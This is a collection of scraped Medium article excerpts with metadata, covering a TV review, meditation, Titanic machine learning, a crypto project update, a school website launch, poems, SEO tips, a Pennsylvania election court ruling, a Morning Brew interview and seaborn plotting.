As Peele narrates the end of the episode, that the outbreak was not a “material disease but rather a plague of the conscience. One that gave permission to ignore decency, consent, and fear.” I would argue that the episode puts forth the idea that toxic masculinity and male chauvinism can not be passively dealt with, but must be actively resisted, just as the men had to actively fight the rage. I would also conclude that this idea is absolutely right, and this episode is worth watching. | https://medium.com/peoples-world/the-twilight-zone-not-all-men-and-the-horrors-of-toxic-masculinity-190dcfcecd91 | ['Peoplesworld Social Media'] | 2019-05-15 19:27:23.010000+00:00 | ['Culture', 'Television', 'Sexual Assault', 'Review', 'Women'] |
Recuperar arquivos deletados usando TestDisk | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/100security/recuperar-arquivos-deletados-usando-testdisk-6a99e35bb722 | ['Marcos Henrique'] | 2020-12-24 15:06:42.803000+00:00 | ['Testdisk', '100security', 'Recovery'] |
Meditation 101 | Modern life is noisy. The endless clamor of expectation. The static of relentless pitches for our time and dollars. The screaming ideologies demanding our allegiance. All this and more, blasting us daily, with no end in sight. And smack dab in the middle of that wall is a giant three-pronged outlet that we voluntarily plug our soul and self into every day.
So how to yank out that cord? How to replace the static and the bustle with the sounds that sustain us? The whispers of those we love. The lapping of waves. The hum of breeze on the grass. Your own footsteps in a museum. Your own heartbeat, rhythmic and easy. Eternally present. How do we pull that plug and take control of our noise?
Here’s how I did it.
My Personal Noise Machine
First, here’s what my own personal clang and clatter looked like. A couple years ago I was laid off. At the time I had two small children — one of whom was newly born — a spirited canine, and my wife. We ended up making the difficult decision to move from Southern California back to Cincinnati, where we’re from. Sure, one could do spiritual gymnastics to spin this as a “Midwestern homecoming” of sorts, but it felt more like failure to me.
We moved in with my pregnant sister-in-law, her husband, and their daughter for about 6 weeks while we waited for our stuff to arrive and came to terms with the decision we had just made. As you can imagine, the stress piled up in a hurry. I was bombarded by inner voices with a running commentary on expectation, success, responsibility, legacy, integrity, art, life. You know, normal stuff.
I heard those inner voices, and in such a packed living space I also felt all the outer, expectant eyes of everyone involved — whether they were actually on me or not.
So, I left.
No, not left left. Come on! I just went to the library around the corner.
David Lynch to the rescue?
I didn’t know quite what I was searching for, but the library seemed like a reasonable place to start. I wasn’t looking for myself, because I think I had a sense of that. I think I was looking for a way to bridge the gap. To bring that self — the core of me — closer to my daily, waking reality. I was looking for a way to turn down the noise. And, ironically, I found it while reading about David Lynch, whose character in his famed show Twin Peaks, appropriately, is often cranking down his hearing aid to better manage the world’s racket. David Lynch, I learned, is deeply into transcendental meditation.
Transcendental meditation is just what the words suggest — a practice of focused attention that helps you transcend, or rise out of the chaos of the world around you. It helps you unplug from the clutter and noise of modern life, which is a lightning storm of stimuli that taxes our mind and body in ways many don’t realize. Especially in today’s reality.
Take the seemingly innocuous moment of driving down the street. As you pull out into oncoming traffic your synapses are firing like crazy — you’re seemingly focused on the car in front of you, but that’s only one spark in the storm. You’re also subconsciously processing the sky above you, the weather, the other cars, the street signs, the comfort of the seat, the news on the radio, the route you’re taking, the shopping list you’ve forgotten, the fit of your pants, the cat on the sidewalk, the state of the world. And still, that’s just the beginning.
So as I learned more about Transcendental Meditation “TM” the more I began exploring how I could better incorporate this into my own life. Yeah there’s Headspace and other meditation apps, but it seemed very gimmicky to me. I wanted to understand. So I started where any “modern day” explorer starts: YouTube.
I first found this link and this link to help get me started on my journey. I realized early on that for this to work I needed a guided tour. So I started listening to these links when I would go to the library to figure my stuff out. The first few times I fell asleep right there at the desk. Head slumped over, sitting up, hat pulled down over my eyes. I know what you’re thinking, this guy’s killing it for a Tuesday…am I right?
Anywhoo, I started to see the benefits almost immediately. I felt more rested, more clear. I began to recognize when I felt “cloudy” and would take that as a sign that I needed to take a quick 15 minutes and clear my head. I became addicted to it.
The Mechanics of Meditation
Think about brain waves like waves on the ocean. When the ocean is calm you’re having the best day in the world. You’re sailing your boat, surfing, eating fish tacos on the beach with a gorgeous sunset. But when that wind starts to pick up, those waves can quickly combine into a storm — thrashing, noisy, wet, violent. But with just ten to fifteen minutes of focused meditation you’re able to settle those waves and still the waters. You’d be surprised.
The short-term effects are profound. Your brain activity will relax. Calm will set in. Your body and mind will feel rejuvenated. You’ll be able to think more clearly. Your cognition will improve. And with regular practice, the long-term effects can be life changing.
The benefits of meditation are out there and apparent, but I never really took to it before this. You see, I had tried meditating before, but I would just sit there trying not to think, and would get frustrated at myself thinking as I was trying not to think.
Who knows, maybe it was divine intervention that steered my way that fateful day in late August. Maybe it was dumb luck. But, either way, I am eternally grateful I was able to find this little gem.
Back to the story. After a few weeks I found myself craving, you know…meditation, but tracking down these clips on YouTube every time seemed counter intuitive. Plus ads would occasionally pop up, and nothing is less “zen” then hearing a Squarespace ad in the middle of clearing your head. So with the beauty of technology I created my own hybrid track that I share with you today.
This free track is just one of a great many meditation resources out there, each with different means of guiding you inward. I encourage you to use this as a starting point for your own journey. Search around and see what else speaks to you, and give it a chance to change your life.
For now, though, download this MP3 to your device of choice. Turn off the ringer, turn off the alerts from ESPN, Twitter, Cat Fancy, and the New York Stock Exchange. Find a quiet place to sit. And listen. Try to do it in the morning to set your day up for peace and mindfulness. Repeat in the afternoon, or as needed. I even have a night time loop I use when my mind turns on in the middle of the night. Just press play and let it rip :)
Try to do this at least once a day, and stick with it. As I said, don’t be afraid to seek out other teachers and practices…but do it. If you’ve made it this far you’re reading this post for a reason.
At this point, I’ve been taking part in guided meditation for 2+ years, and the experience and results have been profound. In a word, transcendental. Get it, see what I did there? Better sleep, communication, mindfulness, the ability to be present with my kids. But let me be clear, this isn’t a cure-all for what life throws at you; this is merely a tool to help you when your seas get rough.
So that’s that for now. Download the meditation and give it a try — you won’t regret it.
And, in the meantime, may your waters be calm. | https://medium.com/@joey.maiocco/meditation-101-8451b529394e | ['Joey Maiocco'] | 2019-01-31 10:56:59.274000+00:00 | ['Free Mp3', 'Personal Development', 'DIY', 'Guided Meditation', 'Meditation'] |
Machine Learning Using Titanic Data | Why not try out machine learning along with data analysis??
Machine learning is a branch of artificial intelligence where we construct models/systems that learn and study data to make predictions.
This is what I tried out as well using the analysis I did on the titanic data set. A model that can predict the chance of survival for any passenger based on data about them.
Let us begin creating our model. What would the first step be?
Understanding your data set
The data set I chose is “Titanic: Machine Learning from Disaster” from Kaggle and which contains two separate train and test data files.
Analyzing the train and test data is essential, which is explained in detail in my article “Investigating Titanic Data”.
As observed in the data, the test data is missing the ‘Survived’ column.
Therefore we can use the features Sex, Age,Pclass, Fare, Embarked, SibSp, and Parch that affected survival rates in the train data as observed in the analysis done.
This is then fed into a model which then predicts survival for passengers in the test data.
Preprocessing data
This step involves cleaning both train and test data and obtaining a data frame with values of features consisting only features we decide to input into the model.
I decided to use imputation to fill in the missing values in the Age and Fare columns. This method refers to replacing missing entries with the mean of all values under the respective column in the data. | https://medium.com/swlh/machine-learning-using-titanic-data-e133d7721aa9 | ['Abinaya Jayaprakash'] | 2020-10-15 20:35:56.746000+00:00 | ['Keras', 'Pandas', 'Machine Learning', 'Model Training', 'Data Analysis'] |
Brahma OS May Progress Report. In May, Brahma OS’s work is constantly… | In May, Brahma OS’s work is constantly moving forward.
1. Merkle Tree Based File System
Brahma OS Researcher KJ Published MTFS: Merkle Tree Based File System
From May 14th to 17th, 2019, the EEE HotlCN 2019 Academic Conference was held in Seoul, South Korea. On the afternoon of the 15th, Dr. KJ, a researcher at the Brahma OS team, conducted an in-depth analysis of his new paper, “MTFS: Merkle Tree Based File System.”This system provides a solution for private file storage using the blockchain technology.
2. Technical Progress
Support for features and capabilities for fingerprint-free payment at the system level;
Migrate existing system code to Android 9.0 (Android Q) to support more devices and features;
Establish an internal team with researcher KJ to initiate the development of the MPFS system;
Support mobile phones equipped with Brahma OS to use NFC payments in digital currencies such as BRM and ETH by working with offline public service agencies and merchants;
optimization of wallet and system.
3. Token Price
The price of BRM has been relatively stable in the past month. At present, the trading mood is relatively moderate, and the price of token and trading volume are relatively stable. At present, the top ten positions accounted for 88.16%, and the top 30 positions accounted for 91.56%. Compared with the 30 positions in early May, the proportion of positions increased slightly.
3. FCoin First Anniversary Community Congress
Brahma OS was invited to participate in the FCoin First Anniversary Community Congress. The synergy between the consensus ecology and the public chain discussed at the meeting, as well as a series of design and core features of the public chain. Brahma OS has benefited a lot and will continue to work hand in hand with FCoin to make more contributions to the benign development of the blockchain ecosystem.
About Brahma OS
Official Website: https://www.brahmaos.io
Twitter：@brahma_os
Medium：BrahmaLabs
Community：
Official group: https://t.me/BrahmaOS
Chinese group: search BrahmaOS on WeChat to join the WeChat group
Korean group： https://open.kakao.com/o/gdqRKcQ
Japanese group: https://t.me/joinchat/HaZYOw7vh68w64bIOom6Uw
中文: https://t.me/BrahmaOS_chs
@ANNBrahmaLabs：https://t.me/ANNBrahmaLabs
Contact：
Korea：[email protected]
Japan：[email protected]
Other area：[email protected] | https://medium.com/brahmalabs/brahma-os-april-progress-report-2b76e67fd05c | [] | 2019-06-11 11:21:31.565000+00:00 | ['Blockchain'] |
New Website Marks the Beginning of a New Era at OSPI | Superintendent Chris Reykdal
When the last Office of Superintendent of Public Instruction (OSPI) website launched, President Bill Clinton was nearing the end of his second term in the White House. A gallon of gas cost $1.26. Superintendent Chris Reykdal was about to earn his Master of Public Administration degree.
Finally, after decades of hope, years of planning, and months of work, OSPI has finished a complete redesign of its website.
“The new OSPI website underscores our commitment to accessibility and continuous improvement,” said Superintendent Reykdal. “The new site was developed with the input of parents, families, educators, school district administrators, and community members to create a site that is accessible and easy to navigate.”
In developing the site, OSPI conducted surveys with hundreds of respondents from across the state to find out what they thought of the agency’s current site, how they thought content should be organized, if they liked the new design and layout, and more. All major decisions about the design and structure of the new site was driven by this user feedback.
Based on their input as well as discussions within the agency and with experts, OSPI sorted content into six main categories:
Student Success (graduation, learning standards and materials, special education, health and safety, support programs, and more). Certification (certification requirements, National Board Certification, fingerprint and background check requirements, and more). Educator Support (mentoring and supporting beginning teachers, the Teacher/Principal Evaluation Program, educator awards, and more). Policy & Funding (school apportionment, special education funding, legislative priorities, grants, school facilities funding, and more). Data & Reporting (the School Report Card, logging into the Education Data System, student data privacy, and more). About OSPI (the superintendent and the agency, contacting OSPI, news releases, and more).
The second phase of the redesign process is an overhaul of content on the website. Agency staff will work to make content easier to read and understand.
To provide feedback on the new site or ask a question about something you can’t find, please fill out the Ask OSPI form.
The OSPI Website Through the Years
Since the launch of the first OSPI website in 1997, the website has had numerous renovations and updates. Here are just a few, from the Archive.org Wayback Machine:
January 1997:
OSPI’s first website, launched in 1997, was a directory of links to site content.
October 2002:
The OSPI website in 2002 featured the red and black color scheme, and would have largely the same layout for the next 18 years.
November 2003:
The OSPI website in 2003 prominently featured resources for students and parents, and featured an updated blue color scheme.
October 2009: | https://medium.com/waospi/new-website-marks-the-beginning-of-a-new-era-at-ospi-d8106aa290f0 | ['The Office Of Superintendent Of Public Instruction'] | 2019-07-01 20:16:04.876000+00:00 | ['Education', 'Website Design', 'Website Development', 'K 12 Education', 'Web Design'] |
The Blooms of Spring | Photo by Lorena Bôsso on Unsplash
Being with you is light,
Forgetting the to-do
List, turning on
Do not disturb so I can
Drink the autumn in your eyes,
Do you know the sun I hear
Within your words?
Do you feel the resonance,
The daybreak through
My fogged and shuttered
Windows?
You, the apple blossoms,
The singing of the
Birds, the
Promise of a new
Day written in your auburn
Hair,
Do you see the way
I follow?
I am cracked and bruised and
Reupholstered, bled more than
I thought but I will
Open up the knives,
Lay them out
Along your bed and dull
The jagged edge,
Just sing to me the notes
Of you, whisper
That you are
And I will find myself
Adrift again
Within the blooms of
Spring | https://psiloveyou.xyz/the-blooms-of-spring-873614634cf | ['Bradon Matthews'] | 2020-12-20 13:03:40.587000+00:00 | ['Romance', 'Poetry Sunday', 'Muse', 'Free Verse', 'Poem'] |
The Waking Crow | Wherefore art thou second chance?
I have search for you to and fro.
I borrowed wings from an eagle to fly high,
and used a treasure hunter’s old shovel to dig low.
So, I thought to ask a wise man,
but for reasons unknown he did not know.
It seems to be a task at hand,
where should I look? Where should I go?
That when it burned me like a fire,
This thought projected from a crow.
A way to find a second chance was not to search for its sudden glow,
Or wait on it from the ground to grow.
But to understand I have that power,
a power within to create my own. | https://poetry-in-form.com/the-waking-crow-c75d5c212782 | ['Calvin Lassiter'] | 2021-01-30 02:07:02.302000+00:00 | ['Life', 'Power', 'Spirituality', 'Enlightenment', 'Inspiration'] |
How to increase organic traffic SEO rankings and traffic increase | As of today, after creating several blogs in several niches
we have seen that nearly all of our republished pages have consistently been gaining more and more search traffic over time.. Now, the best part about this SEO strategy is that increases in traffic can happen almost immediately, as you can see here here and here.
So if you want to know how to get organic traffic fast by simply refreshing, older content, then stay tuned. When you update content, you can’t just recreate any old page and expect to get a quick boost in organic traffic.
There are some requirements in page selection and you actually need to update the content with some thought. Plus. Your website should follow at least the basic SEO best practices.. So you should have good content a technically sound website and have some kind of website authority, meaning you’re, not a new site or have no links pointing at any of your pages.
Content is obviously a huge contributor to your ranking success., But it’s, not always going to be. The main reason why you’re, not ranking in the top 3 positions., So the first thing we need to do is actually identify that a content issue exists.
And there are four main things to look out. For. First check the age of your page.. It takes time to acquire backlinks and for Google to understand where your page fits in the SERP.. So as a general rule of thumb, you should give your page around 6–12 months to rank before considering a major update.
Read more here : https://www.freedombizmachine.com/seo-ranking-page/ | https://medium.com/@freedombizmachine/how-to-increase-organic-traffic-seo-rankings-and-traffic-increase-2f79402312ed | ['Naceur Mohammed'] | 2020-12-21 18:45:11.532000+00:00 | ['Passive Income Online', 'Passive Income On Blogs', 'Make Money Online', 'Passive Income', 'Financial Freedom'] |
Fade to Black | You flew in through the open window
with your patchwork Technicolor cape
the superhero suit
you put together from thrift shop finds
and pulled me out of the burning building
I didn’t even know it was warm
but you took me through the sky over tall buildings
and changing atmosphere
through sun and rain
and snow and hail
we sailed
You always wanted to be Superman
and I was your chance
to play the rescuer
I felt safe beside you
You in your silly suit
I felt as normal as never
but it didn’t matter
we flew
we flapped our wings
like chickens in the sky
we never should have made it
two feet off the ground
but we flew through space
surfed on Saturn’s rings
the Universe was ours until
you dropped me
And I bounced off the clouds
each pillow fell into place
and I was fine
aside from the fear
that you’d forget me
but you didn’t
I could still see the way
the corner of your eye
reflected off the birdbath water
while I waited on the balcony
eyes skyward like Lois Lane
I screamed your name
And you came
sometimes
and sometimes the black engulfed you
and I cried
missing our funky chicken dance.
like Icarus, I tried to build wings
from the feathers that fell from the sky
knitting them together
with my own gray hairs
pulling and tying in angry desperation
until you landed on my balcony
and we embraced
The whole world melted
I felt protected
as you took me on a reprise
through the air
and I notice the sequins you added
to your ensemble
and the way we reflected
in the night sky
like swirling comets
until you set me down
gently this time
and you took off
I watched the flashes of color
from the silver sparkle foil
on your suit
wrote notes on paper airplanes
and soared them into space
where you seemed to swat them
like mosquitoes
that fell back on my shoulders
like snow
so cold
I longed to be back
in the burning building
and I wondered if the fire
had only been in the furnace
and I had been safe
all along
I launched the last letter
with my slingshot
balled-up tight
off like a rocket
so hard and far
you could never send it back
my one last word,
goodbye
before you fade to black | https://medium.com/brave-inspired/fade-to-black-35742818cb1a | ['Gretchen Lee Bourquin', 'Pom-Poet'] | 2019-06-21 18:53:08.327000+00:00 | ['Poetry', 'Courage', 'Relationships', 'Self', 'Friendship'] |
Essential Details For ‘Calling an election unfair does not make it so’: Appeals court denies Trump campaign’s effort to overturn Biden’s win in Pennsylvania Around The UK | Essential Details For ‘Calling an election unfair does not make it so’: Appeals court denies Trump campaign’s effort to overturn Biden’s win in Pennsylvania Around The UK norya Steyon Nov 27, 2020·4 min read
Lame-duck President Donald Trump on Friday lost his campaign’s latest legal fight to undo his narrow loss to Joe Biden in Pennsylvania.
The U.S. Court of Appeals for the Third Circuit rejected the campaign’s battle to block certification of Pennsylvania’s election results based on its unsupported claims that the election system is fraudulent and ballots were processed improperly.
The decision affirmed a scathing lower court ruling that dismissed the case. In equally withering language, the appeals court denied the Trump campaign’s motion for an emergency injunction and refused its request to send the case back to the lower court for additional arguments on a proposed amended complaint.
“Free, fair elections are the lifeblood of our democracy. Charges of unfairness are serious,” wrote Judge Stephanos Bibas as the court ruled in a case where the Trump campaign sought to invalidate millions of ballots. “But calling an election unfair does not make it so. Charges require specific allegations and then proof. We have neither here.”
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The campaign’s lawsuit tried to block the state from officially certifying Biden’s 80,555-vote margin of victory. But Pennsylvania Secretary of the Commonwealth Kathy Boockvar and Gov. Tom Wolf took actions that certified the outcome Tuesday.
Nevada, another battleground state where Trump challenged a narrow Biden win, certified its outcome Tuesday, too. Meanwhile, Biden has formally announced top members of his incoming White House administration, and the U.S. General Services Administration is now providing funding and assistance to Biden’s transition team.
Those moves, and continuing defeats in election cases filed by the Trump campaign and its allies, have undermined Trump’s proclamations of victory and claims of election fraud, for which he’s provided no evidence.
However, his campaign and its allies are fighting on. Responding to Friday’s appeals court ruling, Trump attorneys Rudy Giuliani and Jenna Ellis said they plan to seek a U.S. Supreme Court review of the case.
A Pennsylvania group led by U.S. Rep. Mike Kelly won a temporary victory on Tuesday when a state appeals court granted an emergency application temporarily blocking any uncompleted procedures of the state’s election certification. That suit claims the mail ballot portion of a 2019 bipartisan overhaul of Pennsylvania’s election procedures was unconstitutional.
But the ruling was stayed when the state appealed the decision to the Pennsylvania Supreme Court.
In Wisconsin, a conservative group filed an appeal Tuesday in its effort to block Biden’s victory there. It wants state lawmakers to choose the electors who will officially name the nation’s 46th president next month. The group asked Wisconsin’s Supreme Court to review rejections of the case by lower courts.
Trump campaign: Elections officials must prove votes were legal
In the Pennsylvania case decided Friday, the campaign went to the appeals court Sunday asking it to issue an emergency restraining order to halt the state’s election certification. It argued that state officials had improperly moved to certify “results of an invalid and constitutionally infirm election process before this case can be heard on its merits.”
“It would be unconscionable to allow Pennsylvania to certify electors for Biden and then have it turn out that Trump won the race,” Trump’s lawyers wrote.
The Trump campaign’s motion also argued that Pennsylvania officials “should have the burden of proving the mail votes were legal.”
However, Friday’s ruling picked apart the campaign’s argument and then rejected it.
‘Frankenstein’s Monster’:In scathing ruling, judge dismisses Trump campaign’s effort to overturn election results in Pennsylvania
Trump looks to Electoral College:Live political updates: Trump says he would ‘certainly’ leave White House once Electoral College votes for Biden
No concession:’Don’t talk to me that way’: Trump lashes out at White House reporter over election question
The campaign claimed elections officials illegally allowed voters to fix problems with mail ballots and improperly limited Republican observers’ access to ballot processing for Republican watchers. The ruling said they were “vague and conclusory” state-law claims repackaged as allegations of unconstitutional discrimination.
Campaign lawyers never alleged that Trump votes were handled differently than Biden votes, the decision said. And federal law does not cover ballot observers and curing, it added.
“Each of these arguments is fatal,” wrote Bibas, who was nominated to the appeals court bench by Trump.
The ruling concluded that the campaign’s claims have “no merit,” noting that the number of ballots specifically challenged was smaller than Biden’s victory margin. The decision also said the campaign never claimed fraud or alleged any ballots had been cast by illegal voters.
“Tossing out millions of mail-in ballots would be drastic and unprecedented, disenfranchising a huge swath of the electorate and upsetting all down-ballot races too,” the ruling said. “That remedy would be grossly disproportionate to the procedural challenges raised.”
Expert: Trump campaign shouldn’t expect warm reception at Supreme Court
The ruling upheld U.S. District Court Judge Matthew Brann’s decision Saturday, which similarly slammed the Trump campaign’s claims.
A hearing before the U.S. Supreme Court would be a long shot. The high court agrees to hear a tiny fraction of such applications, which are called certiorari petitions.
On top of that, the campaign’s lawyers appealed to the Third Circuit on narrow legal grounds. They asked it only to reverse the portion of Brann’s ruling that denied the campaign’s bid to file a second revised complaint and to send the case back to Brann for further proceedings.
If the U.S. Supreme Court were to agree to review the case, the likely outcome would be an order that returns the case to Brann, not an immediate undoing of Pennsylvania’s election results.
“The Trump campaign can try to take this to the Supreme Court … but it will get no better reception there,” wrote Richard Hasen, an election law expert and professor at the University of California, Irving in his Election Law Blog on Friday.
“As divided as the Supreme Court is ideologically,” he wrote, “this kind of absurd and dangerous litigation will not get a friendly reception there.” | https://medium.com/@noryasteyon/essential-details-for-calling-an-election-unfair-does-not-make-it-so-appeals-court-denies-trump-39573dd21c03 | ['Norya Steyon'] | 2020-11-27 23:38:31.725000+00:00 | ['President', 'News', 'Donald Trump'] |
Q&A: Austin Rief, Co-founder & COO @ The Morning Brew | Q&A: Austin Rief, Co-founder & COO @ The Morning Brew
This week, The Idea caught up with Austin Rief, co-founder and COO of Morning Brew, a business newsletter targeted at millennials with more than 1 million subscribers. We talked the value of one-to-one relationships, the power of a good referral program, and whether the Brew will expand beyond newsletters.
Can you tell me a bit about yourself and how you got started with Morning Brew?
I went to the University of Michigan’s business school, and like most people in the business school, I was just gearing up for a career in finance, more specifically investment banking. Then, my sophomore year, I started reading this newsletter, which was really a pdf attachment that was sent out by another Michigan student. I didn’t know who he was, but I thought there was something interesting there, and it started to really grow at Michigan.
Then he sent out an email saying, “Hey, I’m looking to grow this thing a little bit more and looking to bring on someone to help me out, who’s interested?” I responded — I didn’t even know who the person was sending out. It happened to be my now co-founder, Alex Lieberman. We just took a look at what was going on and why, why it had been growing. And what it was, was it was just basic, the left side of the Wall Street Journal, so to speak, the most important stories in the business world, but written in a really conversational witty tone.
Some legacy publications create really great content, but it’s not the most engaging, and a lot of people don’t have time to read the full Journal. We wanted to give people the value of the journal in five minutes. We started writing at Michigan, and when I graduated, I went full time. Now, we have a six day a week newsletter, and then recently we’ve launched two other verticals.
I want to focus on your first development or when you first were developing the newsletter. I know you mentioned that Alex had just sent out a pdf at the beginning, but how did you decide on newsletters as the primary format? We’re in sort of “peak newsletter” right now — everyone has a newsletter — but it seems like Morning Brew started before that.
It’s funny how everyone loves newsletters, and when we started they were the least sexy thing. We talked to some really big people in media, some people you would know by name very, very well who raised hundreds of million dollars in funding and they all told the same thing: email is not sexy, create video content, create viral videos, run videos that will go crazy on Facebook and expand.
For many reasons, we decided not to do that. One, we didn’t have the time or money to create videos, and we decided to go for a quality over quantity approach, which just meant that we wanted to give you news, not we want to be the first, we don’t want to be the one that gives the most news; we’re going to give you the highest quality news.
We thought email is a great platform for that. Now, looking back, I think that’s one of the reasons we’ve been so successful, because email is such a great platform. As I think about the media industry as a whole and who is succeeding, I think the publishers who are succeeding are the ones that are creating need-based content, content you really need and come back to everyday.
I love one-to-one connections; I love the one-to-one connection that we create in the newsletter, I love the one-to-one connections where you can create through podcasts just from hearing someone’s voice. We kind of stumbled upon it because it was cheap, but there’s a reason we stuck to it, and we’re doubling down, because I think it’s an effective means of communication. You really own the relationship, there is no Facebook algorithm, there’s no Google SEO optimization. It’s simply having people opt in and giving them content they want. If they enjoy the content, they’ll keep reading it, if not they’ll opt out, so you have a relationship with the people who actually want to get your content.
On that note, are you guys considering developing non-newsletter content?
Yeah, absolutely. That’s in the product roadmap to create non-newsletter content. We think about that roadmap by thinking, what are other forms of communication that we can continue to create this intimate one-to-one experience. I don’t see us ever creating a ton of content on the website just for the sake of doing reporting and page views. I don’t think it’s a great user experience, and I don’t think that’s a great business model for a lot of publishers and especially ourselves.
What interests us are those one-to-one connections, like newsletters, podcasts, communities. So being able to connect people, whether it be physical or digital, those are all things that I find really compelling and things that now that we’ve really grown the team, we’re going to start testing and exploring. We’ve started running some small events and testing how things are going, and those are the types of things we’re going to focus on, and just go from there.
What do you see as your key success metrics?
We’re tracking opens. What we look for every day is how many people open the newsletter, and how many people are opening multiple times a week. What we really care about is retention of people. Whereas a lot of different publishers or email people quote subscribers, we certainly quote subscribers because that gets headlines, but internally, all we care about is opens. It doesn’t matter if you have 10 million subscribers opening at a really low percent, or a million opening at a really high percent. It’s all about how many opens, and what we really care about on a daily basis is just people opening and interacting with the newsletter.
Can you tell us about your target audience?
We like to use the framing of, it’s your friend telling you the news in a very conversational way, as if you’re at a bar after work with your feet up on the bar, having a conversation. It’s not your boss telling you the news in a suit in the office, it’s after work over a drink, having a conversation.
We like to write in a very conversational tone, and definitely the person who was behind telling you the news is the type of person who likes to go out and interact with their friends and be social, but is also insanely intellectually curious. Everyone who works at the Brew has to be intellectually curious, and that’s the voice we want to give off — the type of person who would give up a night going out to the bars to go watch a Ted Talk or watch a YouTube video and learn something new.
Whenever we think about would our persona say this phrase, or write in this tone, do this, we always go back to with that person sitting at the bar with their feet up, discussing the news, arguing over a fundraising round, would that person say this and would that person do this?
Can you tell me a bit about your growth strategy? I know you’re pretty focused on referrals, so how did you settle on that?
We grew a lot of different ways, but referrals are really important to us because it’s virtually free — we do give out swag for referring. It’s really important for us to get people talking about our product and getting that top-of-mind awareness that it’s okay to talk about our products and tell other people.
It’s a really great way for us to experiment with other paid acquisition methods and know that we still had this word of mouth thing growing really quickly and it helps with the community aspect. We encourage you to tell your friends, so you can be reading the same things as your friends and you can discuss it. It really gives them that community feel when, when 25% of our subscribers come from people telling other people.
Can you tell us about the different referral tiers?
The way the referral program works is that we incentivize you with Morning Brew swag. I think referral programs in general are common right now, but for me it’s important to make the incentive align with what we want. What do we want you to do by becoming a referrer? We want you to become more and more engaged with the product by doing so, and so we reward you with Morning Brew Swag.
When you get three referrals, we give you our exclusive Sunday edition of Morning Brew called Light Roast. The reason we do that is because the type of person who’s referring, the person who’s so passionate about the product, that they want more of it and they’re upset that they don’t get it on Sunday. As a result, they’re going to share it with three friends, so they can get it on Sunday. That’s the type of referral we want, people who are striving for that.
After five referrals, we send you Morning Brew stickers. Why do we do that? It’s simple. If you’re the type of person who’s going to share our newsletter five times or with five people, you’re probably the type of person that wants to represent our brand, and we want you representing our brand, so we send you stickers, and hopefully you put it on your laptop, your fridge, or whatever. Then we’re top of mind again for someone who has already passed out the product.
At ten referrals, you get access to the Morning Brew’s exclusive Facebook group, which has high single-digit thousands of people, and it’s a bunch of like-minded people who are all talking about companies, stocks, jobs, books they’re reading — really intellectually curious, hungry people who all interact. Then as you go up the chart, 25 referrals gets you T-shirts, so on and so forth, up to the Morning Brew mug. That’s the way we think about things, incentivizing people with the right incentives.
How many subscribers reach each tier?
The Light Roast has over 50,000, so over 50,000 people have gotten three referrals. The Facebook group is, about 7,500, so 7,500 people have gotten ten referrals at least, because not everyone has a Facebook.
How did you guys decide on the topics to spin off for the new verticals?
I’m a big proponent of the ‘verticalization’ of the world and content in general, and I think it’s really important to give people the opportunity to go deeper in areas that they either work in or are interested in. Whereas a lot of other companies who maybe started newsletters had been trying to become anything but a newsletter company, we are, at least for the short term, really embracing that.
We decided to double down in our core competency, of email, our tone, our design, our format, our knowledge of deliverability, our knowledge of email ad sales, and take everything we do really well for the core general business news, and translate that into a few other areas that we find really interesting that we think we can educate people.
Our emerging technology newsletter is educating people on emerging technologies, including AI, machine learning, Bitcoin, the blockchain, et cetera. Ryan Duffy does an excellent job of educating people on that and we’re going to just need to build that out and increase frequency and products for that vertical. Similarly, with our retail vertical, we want to be a resource for retail professionals to come to us just now for news, but eventually many other things. People in the retail industry can wake up in the morning, read their Morning Brews, and be able to walk into work and be really knowledgeable about the day and what happened the previous day in the business world. And then by 10:00 or 11:00, you get your retail newsletter and you feel like you’re learning more about your job. We’re looking to assist more people and enhance more people’s lives, and just help them become smarter in a more efficient and more fun way.
Do you have any other topics in the pipeline for new verticals?
Yeah, we definitely have verticals that we’re interested in. We are right now very focused on these two verticals and we think it’s really important to go deep rather than wide. We certainly have some down the road, but right now we’re thinking about how can we better cover these verticals and how can we provide more value to our readers. So nothing specific is in the pipeline, we have some ideas, but right now it’s all about more products and more frequency around these current verticals.
Do you ever see the business moving outside of just specifically business related news or is that the line that you guys wouldn’t cross?
I would say never say never. I mean certainly with the elections coming up, we’re certainly going to cover politics. We’re going to do it from a business lens, so we’re going to talk about these candidates — just from Democratic Party there’s so many of them. What are their policies and how would that affect the economy, the business world, trade, et cetera. That’s what we’re focused on now. That’s not to say we wouldn’t cover other things in the future, but right now just the business side of everything.
What is the most interesting thing in media that you’ve seen from organization other than your own?
A theme I’ve seen that really interests me, is companies launching products or services outside of ad-based products or services, that instead of thinking about themselves as a news company or even a media company, you think about the demographic and the audience you’re hitting, and what other products and services can I create to enhance their lives, or what does that psychographic of people, what does that grouping of people that I’m hitting? What do they need?
There are a range of media companies doing this. Take a look at Tasty launching the hardware they launched, or even someone, albeit they’re controversial, but FuckJerry launching a board game.
There are a large grouping of media companies who are really doing a good job of thinking of themselves as really well rounded media companies. I think in the future, media companies are going to certainly have to be beyond ad-based, even beyond subscription.
I think that the period of the subscription is really overblown, and I think in two or three years, other companies are gonna realize, “our content is not that differentiated, we cannot have subscriptions, what else can we sell?” And I think that’s the trend that I am looking at, is media companies who are looking at selling [ consumer goods].
Another one is Betches that just partnered with Bumble and created a dating app. Those are the trends I’m looking at, media companies who are out there, getting out of news, or diversifying, in addition to news, their content and creating other products or services. And so that’s what interests me most, is media companies creating non-media products or services, diversifying revenue and leveraging the insights they’ve gained in their audience to sell other things to them. | https://medium.com/the-idea/q-a-austin-rief-co-founder-coo-the-morning-brew-3895f31f58d7 | ['Mollie Leavitt'] | 2019-07-22 20:29:56.274000+00:00 | ['Media Jobs', 'Newsletters', 'Subscriber Spotlight', 'Morning Brew', 'Business New'] |
Your Ultimate Python Visualization Cheat-Sheet | Initiating the Graph World
Creating a figure is necessary to specify the graph size.
plt.figure(figsize=(horizontal_length,vertical_length))
Seaborn styles can add grids and styles to the graph space. There are four styles in seaborn, which can be loaded using .set_style .
sns.set_style(name_of_style)
Seaborn contexts are built-in pre-created packages of how you may want your plot to look, which affects things like the size of the labels, lines, and other elements of the plot, but not the overall style.
sns.set_context(name_of_context)
All plots have whitegrid style. This was set separately.
Seaborn color palettes provide a set of colors for the chart to be colored by, which can give your plot the feel or context you want your audience to feel.
Seaborn has dozens of curated palettes. They are loaded with
sns.set_palette(name_of_palette)
Four palettes are visualized in a kde plot.
